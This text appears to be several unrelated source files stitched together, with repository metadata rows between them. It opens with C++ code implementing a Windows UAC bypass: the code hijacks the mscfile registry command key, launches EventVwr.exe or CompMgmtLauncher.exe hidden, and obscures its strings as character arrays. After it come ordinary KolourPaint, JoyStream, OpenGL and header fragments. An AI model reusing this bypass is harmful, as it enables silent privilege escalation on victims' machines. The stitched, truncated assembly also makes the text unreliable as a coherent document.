lpCloseHandle(hRead);
return TRUE;
}
#define WAIT_SYSTEM_TIME_LIMIT 30000
//call function must with "" include param and exe,and here the command must do this so with a new ""
int BypassUac(CHAR* lpData, DWORD dwIndex,char * szParam,int iFlag)
{
char szShowInfo[1024];
lpwsprintfA(szShowInfo,"BypassUac parameters---exe is:%s,index is:%u,exe parameter is:%s\r\n",lpData,dwIndex,szParam);
WriteLittleBearLog(szShowInfo);
CHAR szSysDir[MAX_PATH] = {0};
CHAR szSysCmd[MAX_PATH*4] = {0};
CHAR szData[MAX_PATH*4] = {0};
CONST CHAR lpSubKey[] = {'S','o','f','t','w','a','r','e','\\','C','l','a','s','s','e','s',
'\\','m','s','c','f','i','l','e','\\','s','h','e','l','l','\\','o','p','e','n','\\','c','o','m','m','a','n','d',0};
int iRet = lpGetSystemDirectoryA(szSysDir, MAX_PATH);
char szOutputFileName[MAX_PATH];
iRet = ModifyModuleFileName(szOutputFileName,CMD_OUTPUT_FILE_NAME);
char szDataFormat[MAX_PATH] = {0};
if (iFlag)
{
char szDataFormatExe[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',
' ','\"','%','s',' ','%','s','\"',
//' ','\"','>','>','%','s','\"',
0};
lplstrcpyA(szDataFormat,szDataFormatExe);
}
else
{
char szDataFormatCmd[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',
' ','%','s',' ','%','s',
//' ','\"','>','>','%','s','\"',
0};
lplstrcpyA(szDataFormat,szDataFormatCmd);
}
lpwsprintfA(szData, szDataFormat, szSysDir, lpData,szParam);
lpwsprintfA(szShowInfo,"BypassUac key value is:%s\r\n",szData);
WriteLittleBearLog(szShowInfo);
iRet = SetRegKeyStrVal(HKEY_CURRENT_USER , lpSubKey, szData);
if (iRet == 0)
{
WriteLittleBearLog("BypassUac SetRegKeyStrVal error\r\n");
return FALSE;
}
char szSysCmdFormat[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',' ','%','s','\\','%','s',0};
char szEventVwr[] = {'E','v','e','n','t','V','w','r','.','e','x','e',0};
char szCompMgmtLauncher[] = {'C','o','m','p','M','g','m','t','L','a','u','n','c','h','e','r','.','e','x','e',0};
switch(dwIndex)
{
case 0:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szCompMgmtLauncher);
break;
case 1:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
default:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
}
SECURITY_ATTRIBUTES stSa = {0};
stSa.nLength = sizeof(SECURITY_ATTRIBUTES);
stSa.lpSecurityDescriptor = NULL;
stSa.bInheritHandle = TRUE;
HANDLE hRead = 0;
HANDLE hWrite = 0;
iRet = lpCreatePipe(&hRead,&hWrite,&stSa,0);
if (iRet == 0)
{
WriteLittleBearLog("BypassUac lpCreatePipe error\r\n");
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
STARTUPINFOA stSi = {0};
PROCESS_INFORMATION stPi = {0};
iRet = lpGetStartupInfoA(&stSi);
stSi.cb = sizeof(STARTUPINFOA);
stSi.dwX = 0;
stSi.dwY = 0;
stSi.hStdInput = hRead;
stSi.hStdError = hWrite;
stSi.hStdOutput = hWrite;
stSi.wShowWindow = SW_HIDE;
stSi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USESIZE | STARTF_USEPOSITION;
iRet = lpCreateProcessA(0,szSysCmd,0,0,0,CREATE_DEFAULT_ERROR_MODE,0,0,&stSi,&stPi);
if (iRet )
{
lpCloseHandle(stPi.hThread);
iRet = lpWaitForSingleObject(stPi.hProcess,INFINITE);
if (iRet == WAIT_OBJECT_0)
{
DWORD dwExitCode = 0;
lpGetExitCodeProcess(stPi.hProcess, &dwExitCode);
}
else if (iRet == WAIT_TIMEOUT || iRet == WAIT_ABANDONED || iRet ==WAIT_FAILED )
{
WriteLittleBearLog("BypassUac lpWaitForSingleObject error\r\n");
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
lpCloseHandle(stPi.hProcess);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(stPi.hProcess);
}
else
{
WriteLittleBearLog("BypassUac lpCreateProcessA error\r\n");
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
//iRet = system(szSysCmd);
//can not get the exitcode
// iRet = lpWinExec(szSysCmd,SW_HIDE);
// DWORD dwId;
// HANDLE hProc = OpenAndGetProcessIdByName("cmd.exe",&dwId);
// while(hProc == 0)
// {
// Sleep(200);
// hProc = OpenAndGetProcessIdByName("cmd.exe",&dwId);
// }
// lpCloseHandle(hProc);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
if (iRet == 0)
{
WriteLittleBearLog("BypassUac DeleteRegKey error\r\n");
}
WriteLittleBearLog("BypassUac ok\r\n");
return iRet;
}
// VOID Help()
// {
// HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
// SetConsoleTextAttribute(handle, 2);
// printf("By ExpLife\r\n");
// SetConsoleTextAttribute(handle, 3);
// printf("Usage: XXX.exe TheFullPathOfTarget Number\r\n");
// SetConsoleTextAttribute(handle, 4);
// printf("The number parameter can be 0 or 1\r\n");
// printf("The number 0 means to use CompMgmtLauncher.exe\r\n");
// printf("The number 1 means to use EventVwr.exe\r\n");
// SetConsoleTextAttribute(handle, 5);
// printf("Do not use for illegal purposes, or author is not responsible for the consequences!\r\n");
// }
int BypassUacRegistry(char * szProgramPathName,DWORD dwIndex,char *szParam,int iFlag)
{
if (lplstrlenA(szProgramPathName) >= MAX_PATH)
{
return FALSE;
}
if (dwIndex != 0 && dwIndex != 1)
{
return FALSE;
}
int iRet = 0;
if (Is64System())
{
char szWow64DisableWow64FsRedirection[] =
{'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64DisableWow64FsRedirection pfnWow64DisableWow64FsRedirection = \
(PFN_Wow64DisableWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64DisableWow64FsRedirection);
char szWow64RevertWow64FsRedirection[] =
{'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = \
(PFN_Wow64RevertWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64RevertWow64FsRedirection);
if (pfnWow64DisableWow64FsRedirection && pfnWow64RevertWow64FsRedirection)
{
PVOID OldValue;
iRet = pfnWow64DisableWow64FsRedirection(&OldValue);
BypassUac(szProgramPathName, dwIndex,szParam,iFlag);
iRet = pfnWow64RevertWow64FsRedirection (OldValue);
return TRUE;
}
}
BypassUac(szProgramPathName, dwIndex,szParam,iFlag);
return TRUE;
}
HANDLE OpenFileInDirSystem32(char * szFileName,DWORD dwOpenType)
{
int iRet = 0;
HANDLE hFile = INVALID_HANDLE_VALUE;
if (Is64System())
{
char szWow64DisableWow64FsRedirection[] =
{'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64DisableWow64FsRedirection pfnWow64DisableWow64FsRedirection = \
(PFN_Wow64DisableWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64DisableWow64FsRedirection);
char szWow64RevertWow64FsRedirection[] =
{'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = \
(PFN_Wow64RevertWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64RevertWow64FsRedirection);
if (pfnWow64DisableWow64FsRedirection && pfnWow64RevertWow64FsRedirection)
{
PVOID OldValue;
iRet = pfnWow64DisableWow64FsRedirection(&OldValue);
hFile = lpCreateFileA(szFileName,dwOpenType,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
iRet = pfnWow64RevertWow64FsRedirection (OldValue);
}
}
else
{
hFile = lpCreateFileA(szFileName,dwOpenType,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
}
return hFile;
}
/*
int CmdRegOperation(CHAR* lpData, DWORD dwIndex,char *szParam)
{
CHAR szSysDir[MAX_PATH] = {0};
CHAR szSysCmd[MAX_PATH*2] = {0};
CHAR szData[MAX_PATH*2] = {0};
CONST CHAR lpSubKey[] = {'S','o','f','t','w','a','r','e','\\','C','l','a','s','s','e','s',
'\\','m','s','c','f','i','l','e','\\','s','h','e','l','l','\\','o','p','e','n','\\','c','o','m','m','a','n','d',0};
int iRet = lpGetSystemDirectoryA(szSysDir, MAX_PATH);
char szDataFormat[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',' ','%','s',' ','>',' ','%','s',0};
lpwsprintfA(szData, szDataFormat, szSysDir, lpData,szParam);
iRet = SetRegKeyStrVal(HKEY_CURRENT_USER , lpSubKey, szData);
if (iRet == 0)
{
return FALSE;
}
char szSysCmdFormat[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',' ','%','s','\\','%','s',0};
char szEventVwr[] = {'E','v','e','n','t','V','w','r','.','e','x','e',0};
char szCompMgmtLauncher[] = {'C','o','m','p','M','g','m','t','L','a','u','n','c','h','e','r','.','e','x','e',0};
switch(dwIndex)
{
case 0:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szCompMgmtLauncher);
break;
case 1:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
default:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
}
SECURITY_ATTRIBUTES stSa = {0};
stSa.nLength = sizeof(SECURITY_ATTRIBUTES);
stSa.lpSecurityDescriptor = NULL;
stSa.bInheritHandle = TRUE;
HANDLE hRead = 0;
HANDLE hWrite = 0;
iRet = lpCreatePipe(&hRead,&hWrite,&stSa,0);
if (iRet == 0)
{
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
STARTUPINFOA stSi = {0};
PROCESS_INFORMATION stPi = {0};
iRet = lpGetStartupInfoA(&stSi);
stSi.cb = sizeof(STARTUPINFOA);
stSi.dwX = 0;
stSi.dwY = 0;
stSi.hStdInput = hRead;
stSi.hStdError = hWrite;
stSi.hStdOutput = hWrite;
stSi.wShowWindow = SW_HIDE;
stSi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
iRet = lpCreateProcessA(0,szSysCmd,0,0,0,CREATE_DEFAULT_ERROR_MODE,0,0,&stSi,&stPi);
if (iRet )
{
lpCloseHandle(stPi.hThread);
iRet = lpWaitForSingleObject(stPi.hProcess,WAIT_SYSTEM_TIME_LIMIT);
if (iRet == WAIT_OBJECT_0)
{
DWORD dwExitCode = 0;
lpGetExitCodeProcess(stPi.hProcess, &dwExitCode);
}
else if (iRet == WAIT_TIMEOUT || iRet == WAIT_ABANDONED || iRet ==WAIT_FAILED )
{
WriteLittleBearLog("BypassUac lpWaitForSingleObject error\r\n");
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
lpCloseHandle(stPi.hProcess);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(stPi.hProcess);
}
else
{
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
//iRet = system(szSysCmd);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return iRet;
}
*/
| 25.357271
| 130
| 0.662206
|
satadriver
|
4eb51c01562dd17a7961dfcaf83bce9071cae849
| 10,223
|
cpp
|
C++
|
document/kpDocument_Selection.cpp
|
mikefncu/ikPaint
|
ee787809c5df0a1b78995962ced4ec3870cc139c
|
[
"BSD-2-Clause"
] | null | null | null |
document/kpDocument_Selection.cpp
|
mikefncu/ikPaint
|
ee787809c5df0a1b78995962ced4ec3870cc139c
|
[
"BSD-2-Clause"
] | null | null | null |
document/kpDocument_Selection.cpp
|
mikefncu/ikPaint
|
ee787809c5df0a1b78995962ced4ec3870cc139c
|
[
"BSD-2-Clause"
] | null | null | null |
/*
Copyright (c) 2003-2007 Clarence Dang <dang@kde.org>
Modified by Maikel Diaz <ariguanabosoft@gmail.com>
Copyright (c) 2015-2018
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#define DEBUG_KP_DOCUMENT 0
#include <kpDocument.h>
#include <kpDocumentPrivate.h>
#include <math.h>
#include <qimage.h>
#include <qpainter.h>
#include <qrect.h>
#include <qdebug.h>
#include <qglobal.h>
#include <qlocale.h>
#include <kpColor.h>
#include <kpDefs.h>
#include <kpDocumentEnvironment.h>
#include <kpAbstractSelection.h>
#include <kpAbstractImageSelection.h>
#include <kpTextSelection.h>
// public
kpAbstractSelection *kpDocument::selection () const
{
return m_selection;
}
//---------------------------------------------------------------------
// public
kpAbstractImageSelection *kpDocument::imageSelection () const
{
return dynamic_cast <kpAbstractImageSelection *> (m_selection);
}
//---------------------------------------------------------------------
// public
kpTextSelection *kpDocument::textSelection () const
{
return dynamic_cast <kpTextSelection *> (m_selection);
}
//---------------------------------------------------------------------
// public
void kpDocument::setSelection (const kpAbstractSelection &selection)
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "kpDocument::setSelection() sel boundingRect="
<< selection.boundingRect ()
<< endl;
#endif
d->environ->setQueueViewUpdates ();
{
const bool hadSelection = (bool) m_selection;
kpAbstractSelection *oldSelection = m_selection;
// (must be called before giving the document a new selection, to
// avoid a potential mess where switchToCompatibleTool() ends
// the current selection tool, killing the new selection)
bool isTextChanged = false;
d->environ->switchToCompatibleTool (selection, &isTextChanged);
Q_ASSERT (m_selection == oldSelection);
m_selection = selection.clone ();
// There's no need to uninitialize the old selection
// (e.g. call disconnect()) since we delete it later.
connect (m_selection, SIGNAL (changed (const QRect &)),
this, SLOT (slotContentsChanged (const QRect &)));
//
// Now all kpDocument state has been set.
// We can _only_ change the environment after that, as the environment
// may access the document. Exception is above with
// switchToCompatibleTool().
//
d->environ->assertMatchingUIState (selection);
//
// Now all kpDocument and environment state has been set.
// We can _only_ fire signals after that, as the signal receivers (the
// "wider environment") may access the document and the environment.
//
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tcheck sel " << (int *) m_selection
<< " boundingRect=" << m_selection->boundingRect ()
<< endl;
#endif
if (oldSelection)
{
if (oldSelection->hasContent ())
slotContentsChanged (oldSelection->boundingRect ());
else
emit contentsChanged (oldSelection->boundingRect ());
delete oldSelection;
oldSelection = 0;
}
if (m_selection->hasContent ())
slotContentsChanged (m_selection->boundingRect ());
else
emit contentsChanged (m_selection->boundingRect ());
if (!hadSelection)
emit selectionEnabled (true);
if (isTextChanged)
emit selectionIsTextChanged (textSelection ());
}
d->environ->restoreQueueViewUpdates ();
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tkpDocument::setSelection() ended";
#endif
}
//---------------------------------------------------------------------
// public
kpImage kpDocument::getSelectedBaseImage () const
{
kpAbstractImageSelection *imageSel = imageSelection ();
Q_ASSERT (imageSel);
// Easy if we already have it :)
const kpImage image = imageSel->baseImage ();
if (!image.isNull ())
return image;
const QRect boundingRect = imageSel->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
// OPT: This is very slow. Image / More Effects ... calls us twice
// unnecessarily.
return imageSel->givenImageMaskedByShape (getImageAt (boundingRect));
}
//---------------------------------------------------------------------
// public
void kpDocument::imageSelectionPullFromDocument (const kpColor &backgroundColor)
{
kpAbstractImageSelection *imageSel = imageSelection ();
Q_ASSERT (imageSel);
// Should not already have an image or we would not be pulling.
Q_ASSERT (!imageSel->hasContent ());
const QRect boundingRect = imageSel->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
//
// Get selection image from document
//
kpImage selectedImage = getSelectedBaseImage ();
d->environ->setQueueViewUpdates ();
imageSel->setBaseImage (selectedImage);
//
// Fill opaque bits of the hole in the document
//
#if !defined (QT_NO_DEBUG) && !defined (NDEBUG)
if (imageSel->transparency ().isTransparent ())
{
Q_ASSERT (backgroundColor == imageSel->transparency ().transparentColor ());
}
else
{
// If this method is begin called by a tool, the assert does not
// have to hold since transparentColor() might not be defined in Opaque
// Mode.
//
// If we were called by a tricky sequence of undo/redo commands, the assert
// does not have to hold for additional reason, which is that
// kpMainWindow::setImageSelectionTransparency() does not have to
// set <backgroundColor> in Opaque Mode.
//
// In practice, it probably does hold but I wouldn't bet on it.
}
#endif
kpImage eraseImage(boundingRect.size(), QImage::Format_ARGB32_Premultiplied);
eraseImage.fill(backgroundColor.toQRgb());
// only paint the region of the shape of the selection
QPainter painter(m_image);
painter.setClipRegion(imageSel->shapeRegion());
painter.setCompositionMode(QPainter::CompositionMode_Source);
painter.drawImage(boundingRect.topLeft(), eraseImage);
slotContentsChanged(boundingRect);
d->environ->restoreQueueViewUpdates ();
}
//---------------------------------------------------------------------
// public
void kpDocument::selectionDelete ()
{
if ( !m_selection )
return;
const QRect boundingRect = m_selection->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
const bool selectionHadContent = m_selection->hasContent ();
delete m_selection;
m_selection = 0;
// HACK to prevent document from being modified when
// user cancels dragging out a new selection
// REFACTOR: Extract this out into a method.
if (selectionHadContent)
slotContentsChanged (boundingRect);
else
emit contentsChanged (boundingRect);
emit selectionEnabled (false);
}
//---------------------------------------------------------------------
// public
void kpDocument::selectionCopyOntoDocument (bool applySelTransparency)
{
// Empty selection, just doing nothing
if ( !m_selection || !m_selection->hasContent() )
return;
const QRect boundingRect = m_selection->boundingRect ();
Q_ASSERT (boundingRect.isValid ());
if (imageSelection ())
{
if (applySelTransparency)
imageSelection ()->paint (m_image, rect ());
else
imageSelection ()->paintWithBaseImage (m_image, rect ());
}
else
{
// (for antialiasing with background)
m_selection->paint (m_image, rect ());
}
slotContentsChanged (boundingRect);
}
//---------------------------------------------------------------------
// public
void kpDocument::selectionPushOntoDocument (bool applySelTransparency)
{
selectionCopyOntoDocument (applySelTransparency);
selectionDelete ();
}
//---------------------------------------------------------------------
// public
kpImage kpDocument::imageWithSelection () const
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "kpDocument::imageWithSelection()";
#endif
// Have selection?
//
// It need not have any content because e.g. a text box with an opaque
// background, but no content, is still visually there.
if (m_selection)
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tselection @ " << m_selection->boundingRect ();
#endif
kpImage output = *m_image;
// (this is a NOP for image selections without content)
m_selection->paint (&output, rect ());
return output;
}
else
{
#if DEBUG_KP_DOCUMENT && 1
kDebug () << "\tno selection";
#endif
return *m_image;
}
}
//---------------------------------------------------------------------
| 29.718023
| 84
| 0.618507
|
mikefncu
|
4eb531db07acf93c72e7d9459af5856ffdca03b5
| 1,199
|
cpp
|
C++
|
src/BEPSupportStatus.cpp
|
JoystreamClassic/joystream-node
|
2450382bb937abdd959b460791c25f2d8f127168
|
[
"MIT"
] | null | null | null |
src/BEPSupportStatus.cpp
|
JoystreamClassic/joystream-node
|
2450382bb937abdd959b460791c25f2d8f127168
|
[
"MIT"
] | 9
|
2017-11-14T06:05:50.000Z
|
2018-07-08T18:21:17.000Z
|
src/BEPSupportStatus.cpp
|
JoystreamClassic/joystream-node
|
2450382bb937abdd959b460791c25f2d8f127168
|
[
"MIT"
] | 4
|
2017-11-14T06:04:17.000Z
|
2018-08-24T07:39:00.000Z
|
/**
* Copyright (C) JoyStream - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Bedeho Mender <bedeho.mender@gmail.com>, February 2 2017
*/
#include "BEPSupportStatus.hpp"
#include "libtorrent-node/utils.hpp"
#include <extension/extension.hpp>
namespace joystream {
namespace node {
namespace bep_support_status {
NAN_MODULE_INIT(Init) {
v8::Local<v8::Object> object = Nan::New<v8::Object>();
#define SET_BEP_SUPPORT_STATUS(name) SET_VAL(object, #name, encode(extension::BEPSupportStatus::name));
SET_BEP_SUPPORT_STATUS(unknown);
SET_BEP_SUPPORT_STATUS(supported);
SET_BEP_SUPPORT_STATUS(not_supported);
SET_VAL(target, "BEPSupportStatus", object);
}
v8::Local<v8::Uint32> encode(extension::BEPSupportStatus status) {
uint32_t v = 0;
switch(status) {
case extension::BEPSupportStatus::unknown:
v = 0;
break;
case extension::BEPSupportStatus::supported:
v = 1;
break;
case extension::BEPSupportStatus::not_supported:
v = 2;
break;
}
return Nan::New<v8::Uint32>(v);
}
}
}
}
| 23.98
| 107
| 0.682235
|
JoystreamClassic
|
4eba081c6c0b0ac577b8a9d5ce8b29ff69846d97
| 713
|
cpp
|
C++
|
Final Lab Task/Q10.cpp
|
aetooc/PF-Lab-Tasks
|
17899595e948624370b754103be28eb93f236a14
|
[
"MIT"
] | null | null | null |
Final Lab Task/Q10.cpp
|
aetooc/PF-Lab-Tasks
|
17899595e948624370b754103be28eb93f236a14
|
[
"MIT"
] | null | null | null |
Final Lab Task/Q10.cpp
|
aetooc/PF-Lab-Tasks
|
17899595e948624370b754103be28eb93f236a14
|
[
"MIT"
] | null | null | null |
// Including header file in my program.
#include<iostream>
// Using the namespace named std.
using namespace std;
int main(){
// Integer variables
int sum,i,j;
// Assigning a value to 'sum' variable
sum= 100;
// Storing value of 'sum' in 'j'
j=sum;
// Printing 'sum' variable and a string
cout<<"All possible values for: a + b = "<<sum<<endl;
// For loop
for(i=0; i<=sum; i++){
// while loop
while(j >= 1){
// printing values of 'i', 'j' and 'sum' with a string
cout<<i<<" + "<<j--<<" = "<<sum<<endl;
// Using to break the loop
break;
}
}
// Returning value to main()
return 0;
}
| 19.805556
| 66
| 0.518934
|
aetooc
|
4ebd74330402d48496acdf328c67a1f7e6eeeeb9
| 59
|
cpp
|
C++
|
src/MagicCube5D/workFiles/twist.cpp
|
roice3/MagicCube5D
|
5839456f3ce7d12aa61527956cbd434822f0ed4f
|
[
"MIT"
] | 4
|
2017-01-25T17:10:19.000Z
|
2020-07-04T22:35:35.000Z
|
src/MagicCube5D/workFiles/twist.cpp
|
roice3/MagicCube5D
|
5839456f3ce7d12aa61527956cbd434822f0ed4f
|
[
"MIT"
] | 8
|
2020-07-03T20:40:49.000Z
|
2020-07-22T19:06:57.000Z
|
src/MagicCube5D/workFiles/twist.cpp
|
roice3/MagicCube5D
|
5839456f3ce7d12aa61527956cbd434822f0ed4f
|
[
"MIT"
] | 2
|
2015-06-11T05:38:19.000Z
|
2020-07-03T19:37:02.000Z
|
#include "twist.h"
#include <stdafx.h>
#pragma unmanaged
| 9.833333
| 19
| 0.711864
|
roice3
|
4ec158c5193b21e56085d6977fb6e53c57f510ca
| 735
|
cpp
|
C++
|
poj/poj3666.cpp
|
songhn233/ACM_Steps
|
6f2edeca9bf4fc999a8148bc90b2d8d0e59d48fe
|
[
"CC0-1.0"
] | 1
|
2020-08-10T21:40:21.000Z
|
2020-08-10T21:40:21.000Z
|
poj/poj3666.cpp
|
songhn233/Algorithm-Packages
|
56d6f3c2467c175ab8a19b82bdfb25fc881e2206
|
[
"CC0-1.0"
] | null | null | null |
poj/poj3666.cpp
|
songhn233/Algorithm-Packages
|
56d6f3c2467c175ab8a19b82bdfb25fc881e2206
|
[
"CC0-1.0"
] | null | null | null |
#include<iostream>
#include<algorithm>
#include<cstdio>
#include<cstring>
#define ll long long
using namespace std;
const int maxn=2050;
const ll inf=1e10;
ll n,f[maxn][maxn],a[maxn],b[maxn];
int main()
{
cin>>n;
for(int i=1;i<=n;i++) cin>>a[i],b[i]=a[i];
sort(b+1,b+n+1);
for(int i=1;i<=n;i++)
{
ll temp=inf;
for(int j=1;j<=n;j++)
{
temp=min(temp,f[i-1][j]);
f[i][j]=temp+abs(a[i]-b[j]);
}
}
ll ans=inf;
for(int i=1;i<=n;i++) ans=min(ans,f[n][i]);
reverse(b+1,b+n+1);
memset(f,0,sizeof(f));
for(int i=1;i<=n;i++)
{
ll temp=inf;
for(int j=1;j<=n;j++)
{
temp=min(temp,f[i-1][j]);
f[i][j]=temp+abs(a[i]-b[j]);
}
}
for(int i=1;i<=n;i++) ans=min(ans,f[n][i]);
cout<<ans<<endl;
return 0;
}
| 17.093023
| 44
| 0.546939
|
songhn233
|
4ec2b7bee2f931aef645b1c5be8a6badd861dc70
| 2,422
|
hpp
|
C++
|
include/util/gl/mask.hpp
|
ecarpita93/HPC_projet_1
|
a2c00e056c03227711c43cf2ad23d75c6afbe698
|
[
"Xnet",
"X11"
] | null | null | null |
include/util/gl/mask.hpp
|
ecarpita93/HPC_projet_1
|
a2c00e056c03227711c43cf2ad23d75c6afbe698
|
[
"Xnet",
"X11"
] | null | null | null |
include/util/gl/mask.hpp
|
ecarpita93/HPC_projet_1
|
a2c00e056c03227711c43cf2ad23d75c6afbe698
|
[
"Xnet",
"X11"
] | null | null | null |
/*
PICCANTE
The hottest HDR imaging library!
http://vcg.isti.cnr.it/piccante
Copyright (C) 2014
Visual Computing Laboratory - ISTI CNR
http://vcg.isti.cnr.it
First author: Francesco Banterle
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
*/
#ifndef PIC_UTIL_GL_MASK_HPP
#define PIC_UTIL_GL_MASK_HPP
#include "../../base.hpp"
namespace pic {
/**
* @brief GenerateMask creates an opengl mask (a texture) from a buffer of bool values.
* @param width
* @param height
* @param buffer
* @param tex
* @param tmpBuffer
* @param mipmap
* @return
*/
PIC_INLINE GLuint GenerateMask(int width, int height, bool *buffer = NULL,
GLuint tex = 0, unsigned char *tmpBuffer = NULL, bool mipmap = false)
{
bool bGen = (tex == 0);
if(bGen) {
glGenTextures(1, &tex);
}
glBindTexture(GL_TEXTURE_2D, tex);
if(bGen) {
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
}
unsigned char *data = NULL;
if(buffer != NULL) {
int n = width * height;
if(tmpBuffer != NULL) {
data = tmpBuffer;
} else {
data = new unsigned char[n * 3];
}
#pragma omp parallel for
for(int i = 0; i < n; i++) {
data[i] = buffer[i] ? 255 : 0;
}
}
if(bGen) {
if(mipmap) {
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
} else {
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
}
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
}
/*
Note: GL_LUMINANCE is deprecated since OpenGL 3.1
glTexImage2D(GL_TEXTURE_2D, 0, GL_LUMINANCE8 , width, height, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, data);
*/
glTexImage2D(GL_TEXTURE_2D, 0, GL_R8, width, height, 0, GL_RED, GL_UNSIGNED_BYTE, data);
if(mipmap && bGen) {
glGenerateMipmap(GL_TEXTURE_2D);
}
glBindTexture(GL_TEXTURE_2D, 0);
if(data != NULL && tmpBuffer == NULL) {
delete[] data;
}
return tex;
}
} // end namespace pic
#endif /* PIC_UTIL_GL_ */
| 23.288462
| 111
| 0.632535
|
ecarpita93
|
4eca32c8a9678118e9cc481bb4dce6b47f5b8f90
| 301
|
hpp
|
C++
|
includes/muriqui.hpp
|
xmuriqui/muriqui
|
ff1492c70e297077c9450ef9175e5a80c6627140
|
[
"MIT"
] | 5
|
2021-12-04T04:42:32.000Z
|
2022-01-21T13:23:47.000Z
|
includes/muriqui.hpp
|
xmuriqui/muriqui
|
ff1492c70e297077c9450ef9175e5a80c6627140
|
[
"MIT"
] | null | null | null |
includes/muriqui.hpp
|
xmuriqui/muriqui
|
ff1492c70e297077c9450ef9175e5a80c6627140
|
[
"MIT"
] | null | null | null |
/*
* muriqui.hpp
*
* Created on: 27/08/2013
* Author: yo
*/
#ifndef MURIQUI_HPP_
#define MURIQUI_HPP_
